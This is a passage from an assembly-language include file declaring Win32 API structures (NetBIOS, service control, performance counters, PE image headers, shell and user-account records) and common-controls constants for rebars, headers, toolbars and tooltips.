.max_cfg_sess RESW 1
.max_sess RESW 1
.max_sess_pkt_isize RESW 1
.name_count RESW 1
ENDSTRUC

STRUC NAME_BUFFER
.xname RESB NCBNAMSZ
.name_num RESW 1
.name_flags RESW 1
ENDSTRUC

STRUC SESSION_HEADER
.sess_name RESW 1
.num_sess RESW 1
.rcv_dg_outstanding RESW 1
.rcv_any_outstanding RESW 1
ENDSTRUC

STRUC SESSION_BUFFER
.lsn RESW 1
.State RESW 1
.local_name RESB NCBNAMSZ
.remote_name RESB NCBNAMSZ
.rcvs_outstanding RESW 1
.sends_outstanding RESW 1
ENDSTRUC

STRUC LANA_ENUM
.iLength RESW 1
.lana RESW 1
ENDSTRUC

STRUC FIND_NAME_HEADER
.node_count RESW 1
.Reserved RESW 1
.unique_group RESW 1
ENDSTRUC

STRUC FIND_NAME_BUFFER
.iLength RESW 1
.access_control RESW 1
.frame_control RESW 1
.destination_addr RESW 1
.source_addr RESW 1
.routing_info RESW 1
ENDSTRUC

STRUC ACTION_HEADER
.transport_id RESD 1
.action_code RESW 1
.Reserved RESW 1
ENDSTRUC

STRUC CRGB
.bRed RESB 1
.bGreen RESB 1
.bBlue RESB 1
.bExtra RESB 1
ENDSTRUC

STRUC SERVICE_STATUS
.dwServiceType RESD 1
.dwCurrentState RESD 1
.dwControlsAccepted RESD 1
.dwWin32ExitCode RESD 1
.dwServiceSpecificExitCode RESD 1
.dwCheckPoint RESD 1
.dwWaitHint RESD 1
ENDSTRUC

STRUC ENUM_SERVICE_STATUS
.lpServiceName RESD 1
.lpDisplayName RESD 1
.ServiceStatus RESD 1
ENDSTRUC

STRUC QUERY_SERVICE_LOCK_STATUS
.fIsLocked RESD 1
.lpLockOwner RESD 1
.dwLockDuration RESD 1
ENDSTRUC

STRUC QUERY_SERVICE_CONFIG
.dwServiceType RESD 1
.dwStartType RESD 1
.dwErrorControl RESD 1
.lpBinaryPathName RESD 1
.lpLoadOrderGroup RESD 1
.dwTagId RESD 1
.lpDependencies RESD 1
.lpServiceStartName RESD 1
.lpDisplayName RESD 1
ENDSTRUC

STRUC SERVICE_TABLE_ENTRY
.lpServiceName RESD 1
.lpServiceProc RESD 1
ENDSTRUC

STRUC LARGE_INTEGER
.lowpart RESD 1
.highpart RESD 1
ENDSTRUC

STRUC PERF_DATA_BLOCK
.Signature RESB 4
.LittleEndian RESD 1
.Version RESD 1
.Revision RESD 1
.TotalByteiLength RESD 1
.HeaderiLength RESD 1
.NumObjectTypes RESD 1
.DefaultObject RESD 1
.SystemTime RESD 1
.PerfTime RESD 1
.PerfFreq RESD 1
.PerTime100nSec RESD 1
.SystemNameiLength RESD 1
.SystemNameOffset RESD 1
ENDSTRUC

STRUC PERF_OBJECT_TYPE
.TotalByteiLength RESD 1
.DefinitioniLength RESD 1
.HeaderiLength RESD 1
.ObjectNameTitleIndex RESD 1
.ObjectNameTitle RESD 1
.ObjectHelpTitleIndex RESD 1
.ObjectHelpTitle RESD 1
.DetailLevel RESD 1
.NumCounters RESD 1
.DefaultCounter RESD 1
.NumInstances RESD 1
.CodePage RESD 1
.PerfTime RESD 1
.PerfFreq RESD 1
ENDSTRUC

STRUC PERF_COUNTER_DEFINITION
.ByteiLength RESD 1
.CounterNameTitleIndex RESD 1
.CounterNameTitle RESD 1
.CounterHelpTitleIndex RESD 1
.CounterHelpTitle RESD 1
.DefaultScale RESD 1
.DetailLevel RESD 1
.CounterType RESD 1
.CounterSize RESD 1
.CounterOffset RESD 1
ENDSTRUC

STRUC PERF_INSTANCE_DEFINITION
.ByteiLength RESD 1
.ParentObjectTitleIndex RESD 1
.ParentObjectInstance RESD 1
.UniqueID RESD 1
.NameOffset RESD 1
.NameiLength RESD 1
ENDSTRUC

STRUC PERF_COUNTER_BLOCK
.ByteiLength RESD 1
ENDSTRUC

STRUC COMPOSITIONFORM
.dwStyle RESD 1
.ptCurrentPos RESB POINT_size
.rcArea RESB RECT_size
ENDSTRUC

STRUC CANDIDATEFORM
.dwIndex RESD 1
.dwStyle RESD 1
.ptCurrentPos RESB POINT_size
.rcArea RESB RECT_size
ENDSTRUC

STRUC CANDIDATELIST
.dwSize RESD 1
.dwStyle RESD 1
.dwCount RESD 1
.dwSelection RESD 1
.dwPageStart RESD 1
.dwPageSize RESD 1
.dwOffset1 RESD 1
ENDSTRUC

STRUC STYLEBUF
.dwStyle RESD 1
.szDescription RESB STYLE_DESCRIPTION_SIZE
ENDSTRUC
STRUC MODEMDEVCAPS
.dwActualSize RESD 1
.dwRequiredSize RESD 1
.dwDevSpecificOffset RESD 1
.dwDevSpecificSize RESD 1
.dwModemProviderVersion RESD 1
.dwModemManufacturerOffset RESD 1
.dwModemManufacturerSize RESD 1
.dwModemModelOffset RESD 1
.dwModemModelSize RESD 1
.dwModemVersionOffset RESD 1
.dwModemVersionSize RESD 1
.dwDialOptions RESD 1
.dwCallSetupFailTimer RESD 1
.dwInactivityTimeout RESD 1
.dwSpeakerVolume RESD 1
.dwSpeakerMode RESD 1
.dwModemOptions RESD 1
.dwMaxDTERate RESD 1
.dwMaxDCERate RESD 1
.abVariablePortion RESB 1
ENDSTRUC

STRUC MODEMSETTINGS
.dwActualSize RESD 1
.dwRequiredSize RESD 1
.dwDevSpecificOffset RESD 1
.dwDevSpecificSize RESD 1
.dwCallSetupFailTimer RESD 1
.dwInactivityTimeout RESD 1
.dwSpeakerVolume RESD 1
.dwSpeakerMode RESD 1
.dwPreferredModemOptions RESD 1
.dwNegotiatedModemOptions RESD 1
.dwNegotiatedDCERate RESD 1
.abVariablePortion RESB 1
ENDSTRUC

STRUC DRAGINFO
.uSize RESD 1
.pt RESB POINT_size
.fNC RESD 1
.lpFileList RESD 1
.grfKeyState RESD 1
ENDSTRUC

STRUC APPBARDATA
.cbSize RESD 1
.hwnd RESD 1
.uCallbackMessage RESD 1
.uEdge RESD 1
.rc RESB RECT_size
.lParam RESD 1
ENDSTRUC

STRUC SHFILEOPSTRUCT
.hwnd RESD 1
.wFunc RESD 1
.pFrom RESD 1
.pTo RESD 1
.fFlags RESW 1
.fAnyOperationsAborted RESD 1
.hNameMappings RESD 1
.lpszProgressTitle RESD 1
ENDSTRUC

STRUC SHNAMEMAPPING
.pszOldPath RESD 1
.pszNewPath RESD 1
.cchOldPath RESD 1
.cchNewPath RESD 1
ENDSTRUC

STRUC SHELLEXECUTEINFO
.cbSize RESD 1
.fMask RESD 1
.hwnd RESD 1
.lpVerb RESD 1
.lpFile RESD 1
.lpParameters RESD 1
.lpDirectory RESD 1
.nShow RESD 1
.hInstApp RESD 1
.lpIDList RESD 1
.lpClass RESD 1
.hkeyClass RESD 1
.dwHotKey RESD 1
.hIcon RESD 1
.hProcess RESD 1
ENDSTRUC

STRUC NOTIFYICONDATA
.cbSize RESD 1
.hwnd RESD 1
.uID RESD 1
.uFlags RESD 1
.uCallbackMessage RESD 1
.hIcon RESD 1
.szTip RESB 64
ENDSTRUC

STRUC SHFILEINFO
.hIcon RESD 1
.iIcon RESD 1
.dwAttributes RESD 1
.szDisplayName RESB 1
.szTypeName RESB 80
ENDSTRUC

STRUC VS_FIXEDFILEINFO
.dwSignature RESD 1
.dwStrucVersion RESD 1
.dwFileVersionMS RESD 1
.dwFileVersionLS RESD 1
.dwProductVersionMS RESD 1
.dwProductVersionLS RESD 1
.dwFileFlagsMask RESD 1
.dwFileFlags RESD 1
.dwFileOS RESD 1
.dwFileType RESD 1
.dwFileSubtype RESD 1
.dwFileDateMS RESD 1
.dwFileDateLS RESD 1
ENDSTRUC

STRUC ICONMETRICS
.cbSize RESD 1
.iHorzSpacing RESD 1
.iVertSpacing RESD 1
.iTitleWrap RESD 1
.lfFont RESD 1
ENDSTRUC

STRUC HELPINFO
.cbSize RESD 1
.iContextType RESD 1
.iCtrlId RESD 1
.hItemHandle RESD 1
.dwContextId RESD 1
.MousePos RESD 1
ENDSTRUC

STRUC ANIMATIONINFO
.cbSize RESD 1
.iMinAnimate RESD 1
ENDSTRUC

STRUC MINIMIZEDMETRICS
.cbSize RESD 1
.iWidth RESD 1
.iHorzGap RESD 1
.iVertGap RESD 1
.iArrange RESD 1
.lfFont RESD 1
ENDSTRUC

STRUC OSVERSIONINFO
.dwOSVersionInfoSize RESD 1
.dwMajorVersion RESD 1
.dwMinorVersion RESD 1
.dwBuildNumber RESD 1
.dwPlatformId RESD 1
.szCSDVersion RESB 128
ENDSTRUC

STRUC SYSTEM_POWER_STATUS
.ACLineStatus RESB 1
.BatteryFlag RESB 1
.BatteryLifePercent RESB 1
.Reserved1 RESB 1
.BatteryLifeTime RESD 1
.BatteryFullLifeTime RESD 1
ENDSTRUC

STRUC NMHDR
.hwndFrom RESD 1
.idfrom RESD 1
.code RESD 1
ENDSTRUC

STRUC DEVNAMES
.wDriverOffset RESW 1
.wDeviceOffset RESW 1
.wOutputOffset RESW 1
.wDefault RESW 1
ENDSTRUC

STRUC PAGESETUPDLGAPI
.lStructSize RESD 1
.hwndOwner RESD 1
.hDevMode RESD 1
.hDevNames RESD 1
.flags RESD 1
.ptPaperSize RESB POINT_size
.rtMinMargin RESD 1
.rtMargin RESD 1
.hInstance RESD 1
.lCustData RESD 1
.lpfnPageSetupHook RESD 1
.lpfnPagePaintHook RESD 1
.lpPageSetupTemplateName RESD 1
.hPageSetupTemplate RESD 1
ENDSTRUC

STRUC COMMCONFIG
.dwSize RESD 1
.wVersion RESW 1
.wReserved RESW 1
.dcbx RESD 1
.dwProviderSubType RESD 1
.dwProviderOffset RESD 1
.dwProviderSize RESD 1
.wcProviderData RESB 1
ENDSTRUC

STRUC PIXELFORMATDESCRIPTOR
.nSize RESW 1
.nVersion RESW 1
.dwFlags RESD 1
.iPixelType RESB 1
.cColorBits RESB 1
.cRedBits RESB 1
.cRedShift RESB 1
.cGreenBits RESB 1
.cGreenShift RESB 1
.cBlueBits RESB 1
.cBlueShift RESB 1
.cAlphaBits RESB 1
.cAlphaShift RESB 1
.cAccumBits RESB 1
.cAccumRedBits RESB 1
.cAccumGreenBits RESB 1
.cAccumBlueBits RESB 1
.cAccumAlphaBits RESB 1
.cDepthBits RESB 1
.cStencilBits RESB 1
.cAuxBuffers RESB 1
.iLayerType RESB 1
.bReserved RESB 1
.dwLayerMask RESD 1
.dwVisibleMask RESD 1
.dwDamageMask RESD 1
ENDSTRUC

STRUC DRAWTEXTPARAMS
.cbSize RESD 1
.iTabiLength RESD 1
.iLeftMargin RESD 1
.iRightMargin RESD 1
.uiiLengthDrawn RESD 1
ENDSTRUC
STRUC MENUITEMINFO
.cbSize RESD 1
.fMask RESD 1
.fType RESD 1
.fState RESD 1
.wID RESD 1
.hSubMenu RESD 1
.hbmpChecked RESD 1
.hbmpUnchecked RESD 1
.dwItemData RESD 1
.dwTypeData RESD 1
.cch RESD 1
ENDSTRUC

STRUC SCROLLINFO
.cbSize RESD 1
.fMask RESD 1
.nMin RESD 1
.nMax RESD 1
.nPage RESD 1
.nPos RESD 1
.nTrackPos RESD 1
ENDSTRUC

STRUC MSGBOXPARAMS
.cbSize RESD 1
.hwndOwner RESD 1
.hInstance RESD 1
.lpszText RESD 1
.lpszCaption RESD 1
.dwStyle RESD 1
.lpszIcon RESD 1
.dwContextHelpId RESD 1
.lpfnMsgBoxCallback RESD 1
.dwLanguageId RESD 1
ENDSTRUC

STRUC DEBUG_EVENT
.dwDebugEventCode RESD 1
.dwProcessId RESD 1
.dwThreadId RESD 1
.u RESD 1
ENDSTRUC

STRUC COLORMAP
.cmFrom RESD 1
.cmTo RESD 1
ENDSTRUC

STRUC AuxVol
.vLow RESW 1
.vHigh RESW 1
ENDSTRUC

STRUC DBGTHREAD
.hThread RESD 1
.lpStartAddress RESD 1
.bfState RESD 1
.nNext RESQ 1
ENDSTRUC

STRUC DbgProcess
.hDbgHeap RESD 1
.dwProcessID RESD 1
.dwThreadID RESD 1
.hProcess RESD 1
.hFile RESD 1
.lpImage RESD 1
ENDSTRUC

STRUC IMAGE_DATA_DIRECTORY
.VirtualAddress RESD 1
.isize RESD 1
ENDSTRUC

STRUC IMAGE_OPTIONAL_HEADER
.Magic RESW 1
.MajorLinkerVersion RESB 1
.MinorLinkerVersion RESB 1
.SizeOfCode RESD 1
.SizeOfInitializedData RESD 1
.SizeOfUninitializedData RESD 1
.AddressOfEntryPoint RESD 1
.BaseOfCode RESD 1
.BaseOfData RESD 1
.ImageBase RESD 1
.SectionAlignment RESD 1
.FileAlignment RESD 1
.MajorOperatingSystemVersion RESW 1
.MinorOperatingSystemVersion RESW 1
.MajorImageVersion RESW 1
.MinorImageVersion RESW 1
.MajorSubsystemVersion RESW 1
.MinorSubsystemVersion RESW 1
.Reserved1 RESD 1
.SizeOfImage RESD 1
.SizeOfHeaders RESD 1
.CheckSum RESD 1
.Subsystem RESW 1
.DllCharacteristics RESW 1
.SizeOfStackReserve RESD 1
.SizeOfStackCommit RESD 1
.SizeOfHeapReserve RESD 1
.SizeOfHeapCommit RESD 1
.LoaderFlags RESD 1
.NumberOfRvaAndSizes RESD 1
.DataDirectory RESQ 1
ENDSTRUC

STRUC IMAGE_FILE_HEADER
.Machine RESW 1
.NumberOfSections RESW 1
.TimeDateStamp RESD 1
.PointerToSymbolTable RESD 1
.NumberOfSymbols RESD 1
.SizeOfOptionalHeader RESW 1
.Characteristics RESW 1
ENDSTRUC

STRUC IMAGE_NT_HEADERS
.Signature RESD 1
.FileHeader RESD 1
.OptionalHeader RESD 1
ENDSTRUC

STRUC IMAGE_EXPORT_DIRECTORY
.Characteristics RESD 1
.TimeDateStamp RESD 1
.MajorVersion RESW 1
.MinorVersion RESW 1
.nName RESD 1
.nBase RESD 1
.NumberOfFunctions RESD 1
.NumberOfNames RESD 1
.AddressOfFunctions RESD 1
.AddressOfNames RESD 1
.AddressOfNameOrdinals RESW 1
ENDSTRUC

STRUC IMAGE_DOS_HEADER
.e_magic RESW 1
.e_cblp RESW 1
.e_cp RESW 1
.e_crlc RESW 1
.e_cparhdr RESW 1
.e_minalloc RESW 1
.e_maxalloc RESW 1
.e_ss RESW 1
.e_sp RESW 1
.e_csum RESW 1
.e_ip RESW 1
.e_cs RESW 1
.e_lfarlc RESW 1
.e_ovno RESW 1
.e_res4 RESW 1
.e_oemid RESW 1
.e_oeminfo RESW 1
.e_res2 RESW 1
.e_lfanew RESD 1
ENDSTRUC

STRUC USER_INFO_3
.uName RESD 1
.Password RESD 1
.PasswordAge RESD 1
.Privilege RESD 1
.HomeDir RESD 1
.Comment RESD 1
.Flags RESD 1
.ScriptPath RESD 1
.AuthFlags RESD 1
.FullName RESD 1
.UserComment RESD 1
.Parms RESD 1
.Workstations RESD 1
.LastLogon RESD 1
.LastLogoff RESD 1
.AcctExpires RESD 1
.MaxStorage RESD 1
.UnitsPerWeek RESD 1
.LogonHours RESD 1
.BadPwCount RESD 1
.NumLogons RESD 1
.LogonServer RESD 1
.CountryCode RESD 1
.CodePage RESD 1
.UserID RESD 1
.PrimaryGroupID RESD 1
.Profile RESD 1
.HomeDirDrive RESD 1
.PasswordExpired RESD 1
ENDSTRUC

STRUC GROUP_INFO_2
.uName RESD 1
.Comment RESD 1
.GroupID RESD 1
.Attributes RESD 1
ENDSTRUC

;---------------------------comctl equates-------------------------------
ODT_HEADER equ 100
ODT_TAB equ 101
ODT_LISTVIEW equ 102
LVM_FIRST equ 1000h
TV_FIRST equ 1100h
HDM_FIRST equ 1200h
NM_OUTOFMEMORY equ NM_FIRST-1
NM_CLICK equ NM_FIRST-2
NM_DBLCLK equ NM_FIRST-3
NM_RETURN equ NM_FIRST-4
NM_RCLICK equ NM_FIRST-5
NM_RDBLCLK equ NM_FIRST-6
NM_SETFOCUS equ NM_FIRST-7
NM_KILLFOCUS equ NM_FIRST-8
CCS_TOP equ 00000001h
CCS_NOMOVEY equ 00000002h
CCS_BOTTOM equ 00000003h
CCS_NORESIZE equ 00000004h
CCS_NOPARENTALIGN equ 00000008h
CCS_ADJUSTABLE equ 00000020h
CCS_NODIVIDER equ 00000040h
CCM_FIRST equ 2000h
CCM_SETBKCOLOR equ CCM_FIRST+1
CCM_SETCOLORSCHEME equ CCM_FIRST+2
CCM_GETCOLORSCHEME equ CCM_FIRST+3
CCM_GETDROPTARGET equ CCM_FIRST+4
CCM_SETUNICODEFORMAT equ CCM_FIRST+5
CCM_GETUNICODEFORMAT equ CCM_FIRST+6
LVN_FIRST equ 0-100
LVN_LAST equ 0-199
HDN_FIRST equ 0-300
HDN_LAST equ 0-399
TVN_FIRST equ 0-400
TVN_LAST equ 0-499
TTN_FIRST equ 0-520
TTN_LAST equ 0-549
TCN_FIRST equ 0-550
TCN_LAST equ 0-580
CDN_FIRST equ 0-601
CDN_LAST equ 0-699
TBN_FIRST equ 0-700
TBN_LAST equ 0-720
UDN_FIRST equ 0-721
UDN_LAST equ 0-740
MCN_FIRST equ 0-750
MCN_LAST equ 0-759
DTN_FIRST equ 0-760
DTN_LAST equ 0-799
CBEN_FIRST equ 0-800
CBEN_LAST equ 0-830
RBN_FIRST equ 0-831
RBN_LAST equ 0-859
IPN_FIRST equ 0-860
IPN_LAST equ 0-879
SBN_FIRST equ 0-880
SBN_LAST equ 0-899
PGN_FIRST equ 0-900
PGN_LAST equ 0-950
MSGF_COMMCTRL_BEGINDRAG equ 4200h
MSGF_COMMCTRL_SIZEHEADER equ 4201h
MSGF_COMMCTRL_DRAGSELECT equ 4202h
MSGF_COMMCTRL_TOOLBARCUST equ 4203h
ICC_LISTVIEW_CLASSES equ 00000001h
ICC_TREEVIEW_CLASSES equ 00000002h
ICC_BAR_CLASSES equ 00000004h
ICC_TAB_CLASSES equ 00000008h
ICC_UPDOWN_CLASS equ 00000010h
ICC_PROGRESS_CLASS equ 00000020h
ICC_HOTKEY_CLASS equ 00000040h
ICC_ANIMATE_CLASS equ 00000080h
ICC_WIN95_CLASSES equ 000000FFh
ICC_DATE_CLASSES equ 00000100h
ICC_USEREX_CLASSES equ 00000200h
ICC_COOL_CLASSES equ 00000400h
ICC_INTERNET_CLASSES equ 00000800h
ICC_PAGESCROLLER_CLASS equ 00001000h
ICC_NATIVEFNTCTL_CLASS equ 00002000h
RBIM_IMAGELIST equ 00000001h
RBS_TOOLTIPS equ 0100h
RBS_VARHEIGHT equ 0200h
RBS_BANDBORDERS equ 0400h
RBS_FIXEDORDER equ 0800h
RBS_REGISTERDROP equ 1000h
RBS_AUTOSIZE equ 2000h
RBS_VERTICALGRIPPER equ 4000h
RBS_DBLCLKTOGGLE equ 8000h
RBBS_BREAK equ 00000001h
RBBS_FIXEDSIZE equ 00000002h
RBBS_CHILDEDGE equ 00000004h
RBBS_HIDDEN equ 00000008h
RBBS_NOVERT equ 00000010h
RBBS_FIXEDBMP equ 00000020h
RBBS_VARIABLEHEIGHT equ 00000040h
RBBS_GRIPPERALWAYS equ 00000080h
RBBS_NOGRIPPER equ 00000100h
RBBIM_STYLE equ 00000001h
RBBIM_COLORS equ 00000002h
RBBIM_TEXT equ 00000004h
RBBIM_IMAGE equ 00000008h
RBBIM_CHILD equ 00000010h
RBBIM_CHILDSIZE equ 00000020h
RBBIM_SIZE equ 00000040h
RBBIM_BACKGROUND equ 00000080h
RBBIM_ID equ 00000100h
RBBIM_IDEALSIZE equ 00000200h
RBBIM_LPARAM equ 00000400h
RBBIM_HEADERSIZE equ 00000800h
RB_INSERTBAND equ WM_USER+1
RB_DELETEBAND equ WM_USER+2
RB_GETBARINFO equ WM_USER+3
RB_SETBARINFO equ WM_USER+4
RB_GETBANDINFO equ WM_USER+5
RB_SETBANDINFO equ WM_USER+6
RB_SETPARENT equ WM_USER+7
RB_HITTEST equ WM_USER+8
RB_GETRECT equ WM_USER+9
RB_GETBANDCOUNT equ WM_USER+12
RB_GETROWCOUNT equ WM_USER+13
RB_GETROWHEIGHT equ WM_USER+14
RB_IDTOINDEX equ WM_USER+16
RB_GETTOOLTIPS equ WM_USER+17
RB_SETTOOLTIPS equ WM_USER+18
RB_SETBKCOLOR equ WM_USER+19
RB_GETBKCOLOR equ WM_USER+20
RB_SETTEXTCOLOR equ WM_USER+21
RB_GETTEXTCOLOR equ WM_USER+22
RB_SIZETORECT equ WM_USER+23
RB_SETCOLORSCHEME equ CCM_SETCOLORSCHEME
RB_GETCOLORSCHEME equ CCM_GETCOLORSCHEME
RB_BEGINDRAG equ WM_USER+24
RB_ENDDRAG equ WM_USER+25
RB_DRAGMOVE equ WM_USER+26
RB_GETBARHEIGHT equ WM_USER+27
RB_MINIMIZEBAND equ WM_USER+30
RB_MAXIMIZEBAND equ WM_USER+31
RB_GETDROPTARGET equ CCM_GETDROPTARGET
RB_GETBANDBORDERS equ WM_USER+34
RB_SHOWBAND equ WM_USER+35
RB_SETPALETTE equ WM_USER+37
RB_GETPALETTE equ WM_USER+38
RB_MOVEBAND equ WM_USER+39
RB_SETUNICODEFORMAT equ CCM_SETUNICODEFORMAT
RB_GETUNICODEFORMAT equ CCM_GETUNICODEFORMAT
RBN_HEIGHTCHANGE equ RBN_FIRST-0
RBN_GETOBJECT equ RBN_FIRST-1
RBN_LAYOUTCHANGED equ RBN_FIRST-2
RBN_AUTOSIZE equ RBN_FIRST-3
RBN_BEGINDRAG equ RBN_FIRST-4
RBN_ENDDRAG equ RBN_FIRST-5
RBN_DELETINGBAND equ RBN_FIRST-6
RBN_DELETEDBAND equ RBN_FIRST-7
RBN_CHILDSIZE equ RBN_FIRST-8
RBNM_ID equ 00000001h
RBNM_STYLE equ 00000002h
RBNM_LPARAM equ 00000004h
RBHT_NOWHERE equ 0001h
RBHT_CAPTION equ 0002h
RBHT_CLIENT equ 0003h
RBHT_GRABBER equ 0004h
CLR_NONE equ 0FFFFFFFFh
CLR_DEFAULT equ 0FF000000h
ILC_MASK equ 0001h
ILC_COLOR equ 0000h
ILC_COLORDDB equ 00FEh
ILC_COLOR4 equ 0004h
ILC_COLOR8 equ 0008h
ILC_COLOR16 equ 0010h
ILC_COLOR24 equ 0018h
ILC_COLOR32 equ 0020h
ILC_PALETTE equ 0800h
ILD_NORMAL equ 0000h
ILD_TRANSPARENT equ 0001h
ILD_MASK equ 0010h
ILD_IMAGE equ 0020h
ILD_BLEND25 equ 0002h
ILD_BLEND50 equ 0004h
ILD_OVERLAYMASK equ 0F00h
ILD_SELECTED equ ILD_BLEND50
ILD_FOCUS equ ILD_BLEND25
ILD_BLEND equ ILD_BLEND50
CLR_HILIGHT equ CLR_DEFAULT
HDS_HORZ equ 00000000h
HDS_BUTTONS equ 00000002h
HDS_HIDDEN equ 00000008h
HDI_WIDTH equ 0001h
HDI_HEIGHT equ HDI_WIDTH
HDI_TEXT equ 0002h
HDI_FORMAT equ 0004h
HDI_LPARAM equ 0008h
HDI_BITMAP equ 0010h
HDF_LEFT equ 0
HDF_RIGHT equ 1
HDF_CENTER equ 2
HDF_JUSTIFYMASK equ 0003h
HDF_RTLREADING equ 4
HDF_OWNERDRAW equ 8000h
HDF_STRING equ 4000h
HDF_BITMAP equ 2000h
HDM_GETITEMCOUNT equ HDM_FIRST+0
HDM_INSERTITEM equ HDM_FIRST+1
HDM_INSERTITEMW equ HDM_FIRST+10
HDM_DELETEITEM equ HDM_FIRST+2
HDM_GETITEM equ HDM_FIRST+3
HDM_GETITEMW equ HDM_FIRST+11
HDM_SETITEM equ HDM_FIRST+4
HDM_SETITEMW equ HDM_FIRST+12
HDM_LAYOUT equ HDM_FIRST+5
HHT_NOWHERE equ 0001h
HHT_ONHEADER equ 0002h
HHT_ONDIVIDER equ 0004h
HHT_ONDIVOPEN equ 0008h
HHT_ABOVE equ 0100h
HHT_BELOW equ 0200h
HHT_TORIGHT equ 0400h
HHT_TOLEFT equ 0800h
HDM_HITTEST equ HDM_FIRST+6
HDN_ITEMCHANGING equ HDN_FIRST-0
HDN_ITEMCHANGINGW equ HDN_FIRST-20
HDN_ITEMCHANGED equ HDN_FIRST-1
HDN_ITEMCHANGEDW equ HDN_FIRST-21
HDN_ITEMCLICK equ HDN_FIRST-2
HDN_ITEMCLICKW equ HDN_FIRST-22
HDN_ITEMDBLCLICK equ HDN_FIRST-3
HDN_ITEMDBLCLICKW equ HDN_FIRST-23
HDN_DIVIDERDBLCLICK equ HDN_FIRST-5
HDN_DIVIDERDBLCLICKW equ HDN_FIRST-25
HDN_BEGINTRACK equ HDN_FIRST-6
HDN_BEGINTRACKW equ HDN_FIRST-26
HDN_ENDTRACK equ HDN_FIRST-7
HDN_ENDTRACKW equ HDN_FIRST-27
HDN_TRACK equ HDN_FIRST-8
HDN_TRACKW equ HDN_FIRST-28
CMB_MASKED equ 02h
TBSTATE_CHECKED equ 01h
TBSTATE_PRESSED equ 02h
TBSTATE_ENABLED equ 04h
TBSTATE_HIDDEN equ 08h
TBSTATE_INDETERMINATE equ 10h
TBSTATE_WRAP equ 20h
TBSTYLE_BUTTON equ 00h
TBSTYLE_SEP equ 01h
TBSTYLE_CHECK equ 02h
TBSTYLE_GROUP equ 04h
TBSTYLE_CHECKGROUP equ TBSTYLE_GROUP|TBSTYLE_CHECK
TBSTYLE_TOOLTIPS equ 0100h
TBSTYLE_WRAPABLE equ 0200h
TBSTYLE_ALTDRAG equ 0400h
TBSTYLE_FLAT equ 0800h
TBSTYLE_LIST equ 1000h
TBSTYLE_CUSTOMERASE equ 2000h
TBSTYLE_REGISTERDROP equ 4000h
TBSTYLE_TRANSPARENT equ 8000h
TB_ENABLEBUTTON equ WM_USER+1
TB_CHECKBUTTON equ WM_USER+2
TB_PRESSBUTTON equ WM_USER+3
TB_HIDEBUTTON equ WM_USER+4
TB_INDETERMINATE equ WM_USER+5
TB_ISBUTTONENABLED equ WM_USER+9
TB_ISBUTTONCHECKED equ WM_USER+10
TB_ISBUTTONPRESSED equ WM_USER+11
TB_ISBUTTONHIDDEN equ WM_USER+12
TB_ISBUTTONINDETERMINATE equ WM_USER+13
TB_SETSTATE equ WM_USER+17
TB_GETSTATE equ WM_USER+18
TB_ADDBITMAP equ WM_USER+19
TB_SETSTYLE equ WM_USER+56
TB_GETSTYLE equ WM_USER+57
HINST_COMMCTRL equ -1
IDB_STD_SMALL_COLOR equ 0
IDB_STD_LARGE_COLOR equ 1
IDB_VIEW_SMALL_COLOR equ 4
IDB_VIEW_LARGE_COLOR equ 5
STD_CUT equ 0
STD_COPY equ 1
STD_PASTE equ 2
STD_UNDO equ 3
STD_REDOW equ 4
STD_DELETE equ 5
STD_FILENEW equ 6
STD_FILEOPEN equ 7
STD_FILESAVE equ 8
STD_PRINTPRE equ 9
STD_PROPERTIES equ 10
STD_HELP equ 11
STD_FIND equ 12
STD_REPLACE equ 13
STD_PRINT equ 14
VIEW_LARGEICONS equ 0
VIEW_SMALLICONS equ 1
VIEW_LIST equ 2
VIEW_DETAILS equ 3
VIEW_SORTNAME equ 4
VIEW_SORTSIZE equ 5
VIEW_SORTDATE equ 6
VIEW_SORTTYPE equ 7
VIEW_PARENTFOLDER equ 8
VIEW_NETCONNECT equ 9
VIEW_NETDISCONNECT equ 10
VIEW_NEWFOLDER equ 11
TB_ADDBUTTONS equ WM_USER+20
TB_INSERTBUTTON equ WM_USER+21
TB_DELETEBUTTON equ WM_USER+22
TB_GETBUTTON equ WM_USER+23
TB_BUTTONCOUNT equ WM_USER+24
TB_COMMANDTOINDEX equ WM_USER+25
TB_SAVERESTORE equ WM_USER+26
TB_SAVERESTOREW equ WM_USER+76
TB_CUSTOMIZE equ WM_USER+27
TB_ADDSTRING equ WM_USER+28
TB_ADDSTRINGW equ WM_USER+77
TB_GETITEMRECT equ WM_USER+29
TB_BUTTONSTRUCTSIZE equ WM_USER+30
TB_SETBUTTONSIZE equ WM_USER+31
TB_SETBITMAPSIZE equ WM_USER+32
TB_AUTOSIZE equ WM_USER+33
TB_GETTOOLTIPS equ WM_USER+35
TB_SETTOOLTIPS equ WM_USER+36
TB_SETPARENT equ WM_USER+37
TB_SETROWS equ WM_USER+39
TB_GETROWS equ WM_USER+40
TB_SETCMDID equ WM_USER+42
TB_CHANGEBITMAP equ WM_USER+43
TB_GETBITMAP equ WM_USER+44
TB_GETBUTTONTEXT equ WM_USER+45
TB_GETBUTTONTEXTW equ WM_USER+75
TB_REPLACEBITMAP equ WM_USER+46
TBBF_LARGE equ 0001h
TB_GETBITMAPFLAGS equ WM_USER+41
TBN_GETBUTTONINFO equ TBN_FIRST-0
TBN_GETBUTTONINFOW equ TBN_FIRST-20
TBN_BEGINDRAG equ TBN_FIRST-1
TBN_ENDDRAG equ TBN_FIRST-2
TBN_BEGINADJUST equ TBN_FIRST-3
TBN_ENDADJUST equ TBN_FIRST-4
TBN_RESET equ TBN_FIRST-5
TBN_QUERYINSERT equ TBN_FIRST-6
TBN_QUERYDELETE equ TBN_FIRST-7
TBN_TOOLBARCHANGE equ TBN_FIRST-8
TBN_CUSTHELP equ TBN_FIRST-9
TTS_ALWAYSTIP equ 01h
TTS_NOPREFIX equ 02h
TTF_IDISHWND equ 01h
TTF_CENTERTIP equ 02h
TTF_RTLREADING equ 04h
TTF_SUBCLASS equ 10h
TTDT_AUTOMATIC equ 0
TTDT_RESHOW equ 1
TTDT_AUTOPOP equ 2
TTDT_INITIAL equ 3
TTM_ACTIVATE equ WM_USER+1
TTM_SETDELAYTIME equ WM_USER+3
TTM_ADDTOOL equ WM_USER+4
TTM_ADDTOOLW equ WM_USER+50
TTM_DELTOOL equ WM_USER+5
TTM_DELTOOLW equ WM_USER+51
TTM_NEWTOOLRECT equ WM_USER+6
TTM_NEWTOOLRECTW equ WM_USER+52
TTM_RELAYEVENT equ WM_USER+7
TTM_GETTOOLINFO equ WM_USER+8
TTM_GETTOOLINFOW equ WM_USER+53
TTM_SETTOOLINFO equ WM_USER+9
TTM_SETTOOLINFOW equ WM_USER+54
